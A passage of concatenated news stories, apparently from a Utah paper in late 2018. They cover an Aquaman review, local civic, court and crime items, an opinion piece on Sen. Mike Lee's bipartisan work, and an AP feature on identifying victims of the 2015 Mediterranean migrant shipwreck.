to fill in a lot of external mythology to keep the story moving. There are plenty of good parts and enough highlights to keep fans happy, but the finished product feels like it could have turned out better in different hands. Part of the issue is the inherent campiness of the source material campiness that tends to float to the surface unintentionally whenever the story starts taking itself too seriously. You can only buy so far into a world where people ride the backs of killer whales and are called to fight giant underwater crabs in a place called the Kingdom of the Brine. Momoas wisecracking demeanor helps a lot, and Aquaman could have used more of it perhaps a Thor: Ragnarok treatment might have been more appropriate here. And funny enough, "Aquaman's" tale of exiled redemption and brotherly tension bears some parallels to the first "Thor" movie. And like Thor, Aquaman spends most of its screen time in fully CGI environments, which generates positive and negative results. Some of the work looks fantastic, such as the pull-out-all-the-stops finale that caps the third act. Other elements dont look so great, like the awkward way the Atlantian humanoids move around under water. There's enough cheeky bravado to make fans happy, and Wans effort is good enough to entertain most people for at least one viewing. But Aquaman still lingers under the surface compared to the big screens better superhero offerings. Rating explained: "Aquaman" draws a PG-13 rating for various elements of CGI-driven action violence (including stabbings), some occasional profanity and some sexually-suggestive costumes. WEST VALLEY CITY As part of the effort to create a new Jordan River Park, Salt Lake County mayors are seeking out architects, landscape designers, construction workers, engineers and city planners to help with its design. They're calling it the "On the River's Edge ideas competition" to help "reimagine recreation, commerce, conservation and life" along the Jordan River, according to the competition's website. The ideas competition is a way to get the best and the brightest to step forward as we plan this unique area where the Jordan River passes through several cities in Salt Lake County, Salt Lake County Mayor Ben McAdams said in a statement unveiling the competition Wednesday. The competition will formally launch next March. McAdams and other local leaders announced last month the proposed new regional park, along with a new Tracy Aviary campus in South Salt Lake, to prioritize the preservation of the Jordan River's natural habitat while creating more recreation opportunities. Salt Lake County's parks and recreation staff have begun a master-planning process to create the new park with new programs and protections. Designers are being challenged to submit ideas to "activate" the river and its surroundings while creating "connectivity" with communities, and increasing recreation along the river and its trails, according to the competition's website. Competitors should submit design ideas that protect the natural habitat, attract a variety of visitors, and include opportunities for appropriate small business models that interact with the areas surroundings," McAdams said. The "competition area" includes areas surrounding the river from about 3900 South to roughly state Route 201, between Redwood Road and 900 West and 700 West. Entries, which will be judged by a panel of local officials, have the chance to win a $20,000 prize for the jury's choice, $6,000 for the people's choice, and up to six $2,500 awards for innovation. The competition will officially launch March 13, with a May 22 deadline for entries. Winners and prizes will be announced on June 27. For more information, visit the competition's website at www.slco.org/on-the-rivers-edge. Congress has put on a magnificent bipartisan show this past week, much of which should be recognized and emulated by Republicans, Democrats and the president. Heres how Utah Sen. Mike Lee applied it. On Tuesday evening, the Senate passed The First Step Act, truly the first significant reform to the United States criminal justice system in a generation. Holly Harris, executive director of Justice Action Network, commented to Politico, Today was a resounding win for second chances, bipartisanship, and, most importantly, for the thousands of Americans families who are burdened by our broken justice system. Lee has spent the better part of six years driving this bipartisan initiative by developing critical relationships with Democratic Sens. Dick Durbin, Ill., Cory Booker, N.J., and many others. He worked extensively with President Obama and President Trump. He spent hours with outside groups and White House personnel, including current presidential advisers Ivanka Trump and Jared Kushner. He bucked his own party when Senate Majority Leader Mitch McConnell and Sen. John Cornyn wanted to kill the bill and said publicly they didnt have the votes to bring it to the floor. Lee had his own whip count, based on personal relationships and private conversations, and he proved to be accurate. After a major resistance effort by a handful of GOP leaders, the bill garnered a stunning 87 votes on final passage. Liberal CNN icon Van Jones hailed the bill as the start of a new era for criminal justice reform, saying, You had, for the first time in more than a generation, both parties coming together to do something for people at the bottom." Lee also led an interesting and eclectic coalition to pass a Senate resolution to end U.S. support for Saudi Arabia in the ongoing war in Yemen just a week prior. For the first time since 1973, the Senate clawed back some its war power authority, which allows the Senate to vote for an immediate end to military activity. These important successes should encourage every member of Congress, especially newly elected members, to take note. In response to its passage, Sen. Bernie Sanders said, Today we tell the despotic regime in Saudi Arabia that we will not be part of their military adventurism. The Senate than approved, by unanimous consent, a second resolution condemning the killing of Washington Post writer Jamal Khashoggi, laying responsibility for the atrocity on Saudi Crown Prince Mohammed bin Salman. The two resolutions were noted as stinging rebukes of the Trump administration. This legislative model shows that bipartisan solutions to pressing problems are possible when elected officials invest in building personal relationships and function from a place of principle. It shows that immovable gridlock can be nudged out of the way with perpetual force, despite what leadership of either party might say. Most importantly, this model shows one can be on the opposite side of an issue with President Trump one day and tag-team with the president on another issue the next day. These important successes should encourage every member of Congress, especially newly elected members, to take note. When the status quo is challenged, when principled legislation is advanced, when leadership from both parties and the White House are pushed to bring bills to the floor for debate and votes, the peoples business gets done and America moves forward. That is a model worth pursuing to transform Washington. VERNAL A woman died Tuesday in a jail cell after returning from a court hearing, police said. Julia Keebler, 30, of Jensen, Uintah County, had been in the Uintah County Sheriff's Office correctional facility for five days for a theft charge and had just returned to her cell from a court hearing when staff found her unresponsive a short time later, said Commander Darwin Little, of the Wasatch Back Major Crimes Task Force. She was taken to Ashley Regional Medical Center where she was pronounced dead. Authorities are investigating Keebler's death but say it appears to have been self-inflicted. An autopsy will determine the actual cause of death, Little said. The Wasatch Back Major Crimes Taskforce is investigating the death at the request of the sheriff's office. SALT LAKE CITY A handcuffed and shackled Jeremy Johnson tearfully apologized in federal court Wednesday for his foolish and selfish actions that caused the demise of his multimillion dollar internet business and landed him behind bars. Ive given up hope of being released from prison a long time ago, he told U.S. District Judge Dee Benson. Johnson, 42, appeared before Benson after the 10th Circuit Court of Appeals in April upheld his conviction but sent the case back to the district court for a new sentence. A three-judge panel ruled that the trial judge, Judge David Nuffer, mistakenly enhanced Johnson's sentence under federal sentencing guidelines that resulted in a 135-month prison term. After hearing from Johnson, his wife Sharla Johnson, defense attorneys and prosecutors, Benson reduced Johnson's sentence to 87 months a little more than seven years. He has already served about 2 1/2 years and is incarcerated in a federal prison in Safford, Arizona. Benson said he lowered the sentence because Johnson took responsibility for his crime, showed some remorse and changed his attitude. Still, he chastised him for being "arrogant and cocky" in acting as his own lawyer during his trial. Sharla Johnson, also in tears, told the judge that the couple's 15- and 11-year-old daughters deserve to have their father back for what's left of their childhood. She said he has paid his debt over and over again. "I hope you will give him a chance," she said. A jury convicted Johnson in 2016 of eight counts of making false statements to a bank in connection with his once-thriving online marketing company, iWorks. At the same time, jurors acquitted him of 78 counts of bank fraud, wire fraud and money laundering. "Without this enhancement, Mr. Johnson would have been home with his family last Christmas," Johnson's attorney Richard Casper said. Paul Moxley, another Johnson defense lawyer, argued that Benson should cut his sentence to 48 months, saying "I don't think his conduct was all that serious." Assistant U.S. attorney Michael Kennedy said Johnson should serve 135 months because nothing has really changed since the first sentence, though he conceded Johnson has taken a "modicum" of responsibility and shown some "actual" remorse. Johnson gained some acclaim for his humanitarian work in Haiti after the 2010 earthquake there. But the spotlight became brighter after he made public corruption accusations against former Utah Attorneys General John Swallow and Mark Shurtleff that led to criminal charges. Swallow was acquitted after a trial and prosecutors eventually dropped all charges against Shurtleff. On Wednesday, Johnson admitted to breaking prison rules, including using a cellphone, saving up his sleeping pills so he could take a bunch at one time and having his family send money to poor inmates. He said he was initially angry and didn't think he received a fair trial or sentence. But he said he has since had an "attitude adjustment" and now doesn't think he's a victim. At Johnson's trial, federal prosecutors argued that iWorks became crippled as waves of credit card chargebacks hit the $350 million company, landing Johnson on the Terminated Merchant File list, essentially a blacklist shared between card processors. iWorks offered access to government grant programs to stop foreclosures, pay down debt and cover personal expenses such as utilities, and consumers bought into it at the rate of hundreds of millions of dollars. To keep the business viable and the money flowing, Johnson began wrapping iWorks in what would ultimately become 37 shell corporations and more than 300 merchant accounts. He used the names of family, friends and employees to set up the accounts, a strategy that prosecutors say was meant to defraud banks and the card processing company iWorks used. Johnson told the judge Wednesday that he regretted having come up with a "creative" way to fix the chargeback problem. "It was a terrible decision and one I wouldnt make again, and it cost a lot of people dearly," he said, adding his company once employed 1,000 people. "They counted on me to do my job so they could do theirs, and I failed miserably." Prosecutors contend the loss to the credit card-issuing banks from chargebacks was $1.7 million. Nuffer used the figure to bump up Johnson's original prison sentence. Johnson argued on appeal that there's no evidence that banks lost near that much money and that the figure should not have been used in determining his sentence. "There is no evidence of loss," Moxley told Benson. "Bottom line, the banks made money." Financial experts retained by Johnson's lawyers argued in court papers that the issuing banks, far from suffering the losses determined at the July 2016 sentencing hearing, actually had a substantial net gain. That net gain would negate the loss calculation imposed at the first sentencing, when the court prevented any discussion of what caused the elevated number of chargebacks or whether the banks lost any money because of the chargebacks, the experts contend. Kennedy told the judge it was "blatantly incorrect" to argue the banks didn't lose money. He said the chargebacks were drag on the system that hurt them financially and no evidence at the trial showed the banks made money. Prosecutors say the original sentence was accurate and that even without the enhancement, Johnson would be in line for a 108- to 135-month sentence. Johnson is also named in a Federal Elections Commission complaint alleging he used straw donors to contribute money to three high-profile politicians. Cookie banner We use cookies and other tracking technologies to improve your browsing experience on our site, show personalized content and targeted ads, analyze site traffic, and understand where our audiences come from. To learn more or opt-out, read our Cookie Policy. Please also read our Privacy Notice and Terms of Use, which became effective December 20, 2019. By choosing I Accept, you consent to our use of cookies and other tracking technologies. SALT LAKE CITY How many stockings do you need for $20,000? Close to 200 workers in Michigan will be asking themselves that question this Christmas. Whats going on: FloraCraft owner Lee Schoenherr has awarded his 200 employees a total of $4 million in year-end bonuses, which means about $20,000 per worker, CBS News reports. The company said the employees bonuses will be based on length of service. The bonuses will be paid part in cash and part as an addition to the employees' 401(k) accounts, according to the companys blog post. The average tenure at the company is about nine years. The company said the highest gifts will go toward those who spent 40 or so years at the company. Those employees will earn roughly $60,000. Why?: Schoenherr said he offered his employees the immense bonuses for all the help they provide every year in building his business. "I believe strongly in giving back to the community by supporting initiatives that make Ludington (Michigan) a wonderful place to live, work and raise a family," Schoenherr said in the blog post. "A few years ago, I began thinking that I would like to do something more targeted for our employees, who really are the heart and soul of FloraCraft." Bigger picture: FloraCraft CEO Eric Erwin told CBS that Schoenherr wanted to offer the bonuses for a few years. But only now was the right time. "He wants to do this while he could enjoy giving back to the people who have given so much to him," Erwin said. "The business climate is good and we feel good about where we are." Reaction: Employees cheered and applauded the decision, according to The Detroit Free Press. "It was very humbling. I started crying it was huge for him to do something like that for everybody," said Mary Overla, according to the Free Press. Correction: This article previously identified FloraCraft employees as customers. MURRAY Daniel Seelye enlisted in the United States Army with the intention of helping soldiers and their families with emotional distress. Never in his wildest dreams would he believe he'd need similar help of his own. His issues aren't related to combat, necessarily, but the soldier's entire world turned upside down during a 2008 military deployment in eastern Europe. "I started feeling very ill really quickly," said Seelye, of Hyrum. Extreme exhaustion and general sickness led to an eventual diagnosis of Addison's disease, a disorder that affects the function of his adrenal gland and is caused by an autoimmune response. He suffers a variety of debilitating symptoms, including fatigue and weakness, as well as skin discoloration and neurological problems because of his disease, which occurred during his on-duty, overseas assignment. But perhaps the biggest impact of the soldier's ailing health was felt by the family's finances, as Seelye was out of work for almost a decade. "It was the toughest time of my life," the father of four young kids said Wednesday. "I was homebound for a really long time." There is no cure for Addison's and treatment requires long-term medication and monitoring. He can't be on his feet for long periods of time, getting up from sitting is unexpectedly hard, and being able to reach things is sometimes difficult. Thankfully, however, none of it is too much for his new best friend, Nick, a 10-month-old golden retriever-border collie mix, who was able to go home with the Seelye family for good on Wednesday. The service dog is a gift from the local Service Paws and Patriots program, supported by a number of sponsors, but, particularly, the Malinois Foundation, Mark Miller Subaru and the South Salt Lake Chamber of Commerce. Nick, short for Nicolas, was raised to be "strong, resilient and protective" specially trained to provide emotional and physical support to his handler, said Kelley Rosequist, executive director at the Malinois Foundation, an off-shoot of her father's successful, multi-state dog-training business, Dog Training Elite. Through their work, they found an ever-increasing need for service dogs for veterans. The cost of training one, Rosequist said, is a "huge barrier" for veterans, as it requires between $20,000 and $40,000 for hands-on instruction and boarding materials. "Most veterans come back from overseas deployment with insecurities, post-traumatic stress disorder, and often have trouble integrating with their community," Rosequist said, adding that a service dog helps "give a vet their freedom back." "It's giving back the freedom our veterans lost by fighting for ours," she said. To date, the nonprofit organization has placed 28 service dogs with veterans in Utah, Arizona and Texas. Most of those placements, Rosequist said, have been life-changing for the veterans. "This is a huge day for us," Seelye said. "We've had some challenges in the past." He thanked his wife, Keri Seelye, for "literally carrying me through some of those years," and said that Nick will help ease the burden for her "and help me be the best I can be." In the month or so since the family was introduced to Nick, Daniel Seelye said, he's noticed improved health and a greater desire to get out and do things. And Nick has already taken the pressure off Keri Seelye. "He can help with things I can't do for Dan," she said. "And he's able to be with him at work, where I could not." "He's going to help us enjoy life," she said. Despite all that is trying to hold him back, Daniel Seelye is able to live his dream of helping veterans and their families to find peace in their chaotic lives he's just no longer in uniform. But as a mental health provider, he's now got a trusty sidekick. And Nick is especially helpful, too, because he can provide additional support for Daniel Seelye's clients at the office. "He's really been the light at the end of the tunnel for me," Daniel Seelye said. The two seem to have known each other a lot longer than just the month it has taken to acquaint themselves. And Nick, who listens carefully and is attentive to the needs of his new handler, is just as comfortable as ever as he accepts his new career. "He spent his whole life preparing for this," Rosequist said. For more information or to support providing service dogs to veterans, visit themalinoisfoundation.org. LAYTON Layton police are urging people to pay extra attention while crossing the road after two fatal auto-pedestrian accidents occurred in their city in one night. On Tuesday evening, Marcus McGaha, 34, of Layton, died while crossing the road in a poorly lit area at 1650 N. Hill Field Road. He was not using a crosswalk when he was hit by a driver, according to Layton police. A few hours later, a man around 50 years old was fatally struck by a vehicle at 450 N. Main Street. Police said he was also not in a crosswalk at the time. Because he did not have identifying documents on him at the time of the crash, police Wednesday evening were awaiting positive identification from the medical examiner's office. Both incidents remain under investigation. There have been four fatal auto-pedestrian accidents in Utah since Sunday. Early Sunday morning, Tequila Garcia, 36, was found injured in the street after a hit-and-run at 2855 W. 3785 South in West Valley City. Efforts to revive her were unsuccessful. Monday evening in Pleasant Grove, 12-year-old Michael Dominic Madsen was killed at the intersection of State Street and Pleasant Grove Boulevard when a large truck making a right turn hit him while he was in a crosswalk. PARK CITY If you're on the scene when someone is badly injured, the first step is to ensure your own safety. If you get injured, you can't help and will even make the things worse, Janet Cortez said. After that, follow the ABCs: A Alert 911. B Locate the bleeding. C Apply compression. Those are the basics taught by Stop the Bleed, an international outreach campaign. Cortez and Zach Robinson, both of University of Utah Hospital's trauma outreach program, offered the training to an auditorium full of Sundance Film Festival employees as part of a new partnership between the hospital and the festival. University of Utah Health spokesman Noman Khan said the partnership is "a way for us to expand our reach into our community and make sure we're there for them." Attendance at the internationally recognized film festival jumped from 71,000 in 2017 to 125,000 in 2018 which may have been partially due to new and improved tracking technology. With so many visitors from around the world, Khan said, safety is of utmost concern especially because many aren't used to walking on snow and ice. "We're trying to live up to our motto: We care for Utah like Utah cares for each other," he explained. And if anyone, local or visitor, is injured, Khan said University of Utah Health wants to "make sure they are taken care of the Utah way." The 2019 film festival will begin Jan. 24 and end Feb. 3. As festival staffers prepared for the event Wednesday, the life-saving presentation focused on what Cortez and Robinson called "bleeding control." "That's where people can save lives," Robinson said. "If someone's profusely bleeding, they have about a five-minute window. And what we did today was arm a lot of the festival staff with some tools to help them in that five minutes." The Sundance staff in attendance learned how to stop or slow "life-threatening" bleeding. In life-threatening situations, Cortez and Robinson instructed listeners to remove the injured person's clothing that covers the wound or surrounding area. Then, the instructors said, the three main actions an average citizen can take to save a life are applying a tourniquet, packing the wound and applying pressure. Robinson said medical professionals are moving away from an old belief that tourniquets should only be used as a last resort. "When I went to paramedic school, I was taught that if you put them on an arm or a leg, it's just going to fall off. That's not the case anymore, and that's really the reason why we're pushing this program so hard," he said. "We want to change that culture of the tourniquet. The tourniquet is an awesome piece of equipment that can really help save somebody's life." In any of the three cases, Robinson said, the most important thing is constant pressure keep the tourniquet on or keep pressing as hard as you can until paramedics arrive. HEBER Four suspected burglars each face a long list of charges after a chase with police Tuesday. Lashelle Marie Cordova, 28, of South Salt Lake; Cole M. Watanuki, 23, of Salt Lake City; Brody J. Winkler, 24, of Ogden; and Michael J. Lopez, 31, of Las Vegas, were each charged Wednesday in 4th District Court with five counts of unlawful acquisition, possession or transfer of a financial card, possession of another's identity, and criminal mischief, all second-degree felonies, among other charges. According to an affidavit, an officer saw a vehicle with the four inside run a stop sign. The police car pursued the vehicle to 1760 East 1950 North, where it "became disabled" when it went off a ledge. Inside the vehicle, the officer found drug paraphernalia and Winkler told police he and Cordova had used heroin earlier in the evening, the affidavit states. "A search was conducted of the vehicle was conducted and numerous items of suspected stolen property were located inside the vehicle. These items included identifications to other persons, backpacks, tools, and various paper documents," police said. Cordova told police the other occupants of the vehicle had been "breaking into vehicles in Heber City" before they were pulled over, according to the affidavit. Heber City police said Tuesday the group is believed to be "connected to other instances in possibly Wyoming as well as all over Utah, especially the Wasatch Front." SALT LAKE CITY A foundation associated with The Church of Jesus Christ of Latter-day Saints and Deseret Management Corp. gave $400,000 on Thursday to a family shelter in Midvale. LDS Charities executive Kris Mecham presented the gift to The Road Home on behalf of The Church of Jesus Christ of Latter-day Saints Foundation. The $400,000 is a directed donation for the Midvale Family Center, said Mecham, director of community support services for LDS Charities. "It will help with the operational cost for taking care of women who are homeless and in need with their families." The center serves families with children, including single fathers, single mothers, and two parent families, said Alicia Gleed, The Road Home's director of marketing and communications. Mecham said the donation goes directly to benefit the parents and children, not to administrative costs. The foundation has made annual donations to The Road Home for years. "It's been consistent and it's been sizable," Mecham said of the foundations donations to The Road Home. "It's an issue near to the heart of the board of directors. They raised the donation from $300,000 to $400,000 last year because they recognize the size of the problem. We're grateful for providers like The Road Home across the valley and the state that provide these kinds of services. We're grateful to partner with them in what we see as a responsibility and an opportunity to help the homeless." The Church of Jesus Christ of Latter-day Saints Foundation is the charitable giving arm associated with Deseret Management Corp. DMC owns and operates the Deseret News and other for-profit businesses such as Deseret Book, Deseret Digital Media, KSL-TV and KSL Newsradio. Mecham said LDS Charities provides other services to The Road Home through Deseret Industries and the Bishop's Central Storehouse. Thursday's donation was tied to The Road Home's annual mediathon fundraising campaign. ROME Before their lives ended in an underwater deathtrap, before they lined up 100 to a row on a Libyan beach to board a boat with no anchor, the young men from the parched villages of the Sahel had names. Two forensic investigators, one crisscrossing Africa and another in a university laboratory in Italy, are on a quest against the odds to keep Italy's promise to find those names. They are tracing the identities of the migrants killed when an overloaded fishing boat went down off the coast of Libya on April 18, 2015, in the Mediterranean's deadliest shipwreck in living memory. The pledge was made before Europe turned against migrants, and it just got even harder to keep. Nearing their very first formal identification, one of the investigators made a devastating discovery this month: The vessel carried not 800 people, as initially believed, but nearly 1,100. Suddenly, there are hundreds more passengers to identify, adding to more than three years of painstaking work that had already pushed the boundaries of forensic science and tested the limits of both the Peruvian investigator with expertise in human rights violations and the Italian pathologist volunteering on the project. The story of the fishing boat known as the peschereccio and its passengers reflects how migrants can simply vanish worldwide, sometimes without a trace. At a time when global migration is at an all-time high, The Associated Press has found in an exclusive tally that at least 62,284 migrants have died or disappeared worldwide since 2014. That's more than double the only official attempt at a toll, by the U.N.'s International Organization for Migration . But it is also a story of how difficult it is to document these dead and missing, especially at a time when there is no longer a political will to support survivors, let alone figure out how many migrants died and who they were. Back in 2015, then-Prime Minister Matteo Renzi committed Italy to giving names back to those who perished in the April 18 shipwreck. There was a "short period of sunlight," when Italian agencies worked together to recover the bodies and start the process of identifying them, according to Cristina Cattaneo, the Italian forensic investigator. "It was a magical moment," she said. Governments have since slashed funding; rescue ships have drastically cut back operations in the Mediterranean under pressure. Many Italians question the need to identify the bodies when they already have "a tomb at the bottom of the sea," said Roberto Di Bartolo, the engineer who led firefighters in the recovery operation. "But if this boat had not been full of people from Africa and instead they came from the United States, Australia or Japan," he said, "we would have done everything to get the bodies out and find their identity, to give names to those people, because they were people." ___ The migrants on the peschereccio started their journeys in some 20 countries, from Bangladesh to the western tip of Mauritania, according to information from the two investigators, published accounts of survivors, Italian government documents, and families who fear their loved ones were among the passengers. Many came from Africa's Sahel region, where Senegal, Mali and Mauritania meet, walking northward or hitching rides in trucks. Cheikh Fofana's son called around that time to say he was leaving soon for Europe. Fofana warned him to wait for a big boat that might withstand the force of the sea. Surviving a vast ocean is nothing like escaping a tree-lined river, he said. "I told him not to take a makeshift boat, it's very dangerous, it's risky because the sea has no branches," Fofana said. His son, Tidiane responded he had waited too long to cross already, but promised, "I'll try to take the big boat." That was the last time they spoke. He vanished along with two other young men from the town. It is not known if they were among the 12 rows of men, 100 to a row, who lined up on the beach the day before the doomed peschereccio left from Libya. At the last minute, a truck arrived filled with around 200 men from East Africa. They had paid a premium and had priority boarding. Not everyone on the beach would fit on the peschereccio, although the smugglers managed to slip a few extra on board. The overcrowded boat made it 77 nautical miles off the coast of Libya, when it started to founder. It collided with a freighter that was trying to come to its rescue and sank, taking nearly all its human cargo into the depths. Twenty-four bodies were fished out of the water and dropped off in nearby Malta. But Malta wouldn't accept the 28 survivors, who were then taken by the Italian coast guard to the Sicilian port city of Catania. The boat pulled up to the dock in the middle of the night, where a throng of volunteers tossed flowers at it and handed the survivors cellophane-wrapped care packages. Over the next few days, the handful of survivors called home and word of the disaster spread like dust through the Sahel. Around this time, Fofana called his son's phone again. A stranger answered and told him Tidiane had left for Italy. The family visited several spiritual leaders, known as marabouts, hoping to learn Tidiane's fate. One said only that the son was in a "state of obscurity." "I know that if he is dead, there's nothing more I can do, by the will of God. But let me know, is he alive? Is he dead?" Fofana said, his lined face twisting in anguish. "This is the doubt that troubles me." ___ It took a year to raise the hull from the sea floor and drag it to Italy, at a cost of 9.5 million euros. Even before they rigged the pulley to the fragile frame of the boat, divers working 370 meters (1,214 feet) underwater placed a wreath of flowers on the waterlogged deck. The resurfacing operation took 20 hours men leading it from the control room applauded when it budged from the seafloor. The navy's video aired on national television. The fishing boat dangled from an enormous sling as the water drained away, reeking of death in dry dock at Melilli naval port in Sicily the Italian island the migrants had hoped to reach when they set out. That's when Italy's top pathologist, Cattaneo, arrived. So terrified of flying that she chose a 13-hour train and ferry trip to Sicily over a 90-minute flight, she was fearless when faced directly with death. As the firefighters donned hazmat suits against possible biological hazard, Cattaneo wore a T-shirt and jeans, her blond head bobbing amid the wreckage and bodies, a pair of latex gloves her only protection. Her confidence calmed them. "I found before me a carpet of human silhouettes that stretched out across the area of the hold ... almost all face down, some in a fetal position, many swollen with putrefaction, made human by their hair, gloves, sweaters and the shoes they had on," Cattaneo wrote in her book published earlier this month, "Shipwrecked and Nameless." The bodies were crammed five to a square meter (yard) "like a slave ship," said Di Bartolo, the firefighter engineer. "Out of respect, no firefighter ever stepped on a body," Di Bartolo said. "We had to lie across them to pull them up, but we never walked on them." At Cattaneo's tent-lab, 50 pathologists and forensic investigators from 12 Italian universities worked in rotations, stretching the bounds of science to extract and sequence DNA from bodies or fragments that had been submerged in seawater for a year. With gloved hands, pathologists sealed plastic baggies of belongings, matching numbers with body bags as best they could. Other workers sealed metal coffins with a blowtorch. As Cattaneo counted bodies 500 of them by the September 2016 legal proceedings moved forward in the case. On Dec. 13, the Tunisian captain of the vessel was convicted of manslaughter and trafficking and sentenced to 18 years in prison. His Syrian mate got a 5-year term. The peschereccio lacked an anchor, the "captain" had no idea what he was doing, and the vessel was too rickety to withstand the waves or the hundreds of men on board. UN and EU investigations later revealed that the head of the operation was a Libyan trafficker nicknamed "The Doctor," believed to have sent 45,000 migrants to Europe in 2015 alone, and infamous for his brutality and the flimsiness of his boats. He's never been apprehended. Also in December, Renzi the prime minister who had kept his vow to retrieve the boat with remains lost the confidence of Italian voters and resigned as Italy's leader. His departure contributed to the ascent of the fiercely anti-migrant Matteo Salvini. As 2016 closed, Mediterranean migrant deaths peaked at more than 5,100, according to the IOM tally. In the end, Italy counted 547 victims of the shipwreck plus 325 skulls that Cattaneo keeps at her lab for study. In her book, she detailed for the first time her suspicion that more than 1,000 people had died on the ship, relying upon accounts from survivors and what she saw in the hull. The final body belonged to a Gambian, PM390345. In his wallet he had a passport, a library card, a student card and a blood donor certificate. In the pockets of his brown jacket he had some fig seeds. ___ It was time to find the families. For that, Italy turned to Jose Pablo Baraybar, the Peruvian forensic anthropologist from the International Committee of the Red Cross. An intense man with enormous eyes magnified by button-lensed glasses, Baraybar investigated human rights abuses in his home country as well as Haiti, Rwanda and the Balkans. He started with the names of 27 young men from Mauritania whose families had reported them missing around April 2015 to the Red Cross. That is how he found himself in May this year in the village of Melga along the desiccated bed of the Senegal River, armed with swabs for DNA samples and a whiteboard marker. Seated on the ground in the heat of the day, meeting with families who wanted to learn the fate of their sons, Baraybar had no easy answers. "You cannot just tell them a story and you cannot misrepresent who you are. You're not there to bring them a body bag or give them money," said Baraybar. Men and women allowed Red Cross staff to gently swab the inside of their cheeks, and entrusted Baraybar with still more names as they sipped water beneath huts with no walls and just fabric for a roof. The 27 names led to 40 more in Mauritania to try to match against the DNA samples sequenced by Cattaneo in Italy. With the information he'd gathered, Baraybar was able to chart connections among the young men who headed north for a better life. He uncovered the names of relatives, friends, acquaintances and even traffickers from the Sahel as he sought an algorithm to predict where victims might have lived and who might have been on the boat. That led him to his most recent trip to Senegal, where he confirmed crucial details about how the boat was loaded. Three of the rows of 100 migrants each waiting on the beach didn't make it on the boat, because a truck arrived carrying around 200 migrants from East Africa who had paid a premium to board first. And so Baraybar knows that somewhere in East Africa the families of dozens of men who disappeared in 2015 must be wondering about their fate. "Families do matter," he said. "And not knowing kills." Mariama Konte knows too well the price families pay when loved ones disappear in migration. Her father-in-law died of grief after her husband vanished around the same time as six other young men from Dougue. They last heard from them around April 2015, and the families fear the young men headed for Italy were on the peschereccio. In Dougue, on dirt roads so empty that donkeys can rest in the street at midday without fear of a car, it's easy to spot the families whose sons work in Europe. They're the ones with the concrete houses, the metal rooftops and prominent satellite dishes. They have the largest herds of cattle and motorcycles, and their children are in school. Konte, who married Abdrahamane when she was 12 and he was 21, is living the consequences of the family's decision in November to mourn him after nearly four years of waiting. Friends and neighbors told them they would feel better if they went ahead with the ceremony, as five other families of the missing already had. So a few weeks ago, the family sacrificed a sheep, and she put on a lemon-yellow veil that marks her as a widow. She will wear the same clothes for four months and 10 days, washing only on Fridays. She will stay inside the family's compound and eat her meals alone. Then, by tradition, she will almost certainly marry one of her husband's brothers. Even now, she cannot quite accept that her husband is dead. "Each night I pray for him. I pray to God that he will find my husband," she said. "To find another husband is not hard but to find one like him is difficult." ___ The peschereccio still sits with holes in its sides where the bodies were pulled out. Italy's government refused to pay for Cattaneo's plan to move it to Milan. In 2018, the number of migrants arriving illegally in Europe is set to reach its lowest level in five years; the number of dead is well below the levels seen when IOM started counting. Salvini, who is now Italy's interior minister and oversees the missing person's office, was uninterested in whether Renzi's promise had been kept. He credits the new government's hardline policies against rescue for deterring deaths this year. "You do not need a scientist to figure it out, that the fewer people depart, the fewer people die," he told The Associated Press with a shrug. Baraybar and Cattaneo say they are close to their first identification a single name among nearly 1,100 dead in a single shipwreck in a year that saw at least 211 boats sink into the Mediterranean. He describes it as nearly a "mission impossible." And then he presses onward, searching for families who have more questions than answers. His eyes widening almost past the edges of the round frames, he asks: "What kind of thing can you give back to these people that have lost everything?" Only the names of the missing. ___ Lori Hinnant reported from Paris, Trisha Thomas from Rome; and Krista Larson from Goudiry and Dougue, Senegal. MIDVALE Unified police continued Thursday to look for a man who tied up a woman inside her home while trying to steal her husband's car. On Tuesday, a 44-year-old woman who lives near 7300 South and 100 West heard a noise in her house. When she went to investigate, she found a man inside her house wearing a black hoodie and a mask that covered most of his face except for his eyes, said Unified Police Sgt. Melody Gray. The man, who was armed with a knife and spoke only Spanish, demanded the keys to the Corvette parked in the driveway, Gray said. The woman repeatedly told the man she did not have them. The man then tied the woman's hands behind her back, took other items in the house, and left, Gray said. The woman told investigators she did not recognize the man. It was not known Thursday if the victims were picked at random. Anyone with information on the incident is asked to call police at 801-743-7000. TAYLORSVILLE Salt Lake County Mayor Ben McAdams believes everyone deserves access to the arts, and as the county continues to grow, the Mid-Valley Performing Arts Center will help fill that need. County officials, along with representatives from Taylorsville and other groups involved in the center's construction and use, broke ground on land next to city hall Thursday morning. While the $45 million venue, expected to open in fall 2020, will have some touring performances, its main purpose is to provide a space for local performing artists to rehearse and perform. "Utah loves the arts, and to give our local communities a chance to have a venue where they can also perform is so important," McAdams said. The building will also give a new home to the Taylorsville Arts Council, which Taylorsville Mayor Kristie Overson said has been meeting, rehearsing and performing in City Council chambers, Taylorsville High School, the Taylorsville Senior Center and other locations. "The Mid-Valley Performing Arts Center will be a cultural hub for generations to come," Overson said. There will be no tax increase for the project, McAdams added. Funding comes from existing budgets funded by tourism, restaurant and car rental taxes. The Salt Lake County Center for the Arts will operate the venue once Jacobsen Construction and Method Studios have finished it. Although the opening is nearly two years away, Sarah Pearce, division director of Salt Lake County's Center for the Arts, said they will begin booking spaces in the beginning of 2019. "We have been overwhelmed by the interest," Pearce said. "Small music groups to dance groups, theater groups all kinds of groups that are just desperate for a state-of-the-art venue out here." "This theater will be one of Salt Lake County's excellent cultural venues, making the arts available to all of our county residents," McAdams said, adding that the southwest and midwest portions of the valley are becoming the county's "center of gravity." McAdams expects support for the local arts to continue to flourish. "As the population continues to grow, probably 10 years from now you'll see a similar facility in the south end of Salt Lake County," he said. WEST VALLEY CITY A man accused of tying up his teenage son and beating him multiple times with a belt has been arrested in a felony child abuse case. Isbell Pupa, 55, was booked into the Salt Lake County Jail for investigation of child abuse causing serious injury and witness tampering. Pupa was arrested Tuesday night, but West Valley police indicated in a booking report that officers had been "conducting an ongoing investigation." Four children live in Pupa's home. A 14-year-old boy told police "he was 'hogtied' with a long blue rope, his mouth was covered with his sisters medical wrap and (Pupa) struck him on his bare back, arms and legs with a black work belt," the report states. The teen said he was hit with the belt at least 10 times. Detectives noted "scars on his back, arms and legs," the report states. A 4-year-old boy in the house told police that Pupa had instructed him to say "no" if anyone asked if he had been hit, according to the report SALT LAKE CITY The relationship between the United States and Russia is headed in the wrong direction, Ambassador Jon Huntsman Jr. said Thursday. The former Utah governor said trust is the key and needed more than ever to repair the divide between the two superpowers, and that it starts with Russia. "Trust, however, is something that must be earned by acting as a responsible neighbor and reliable partner," 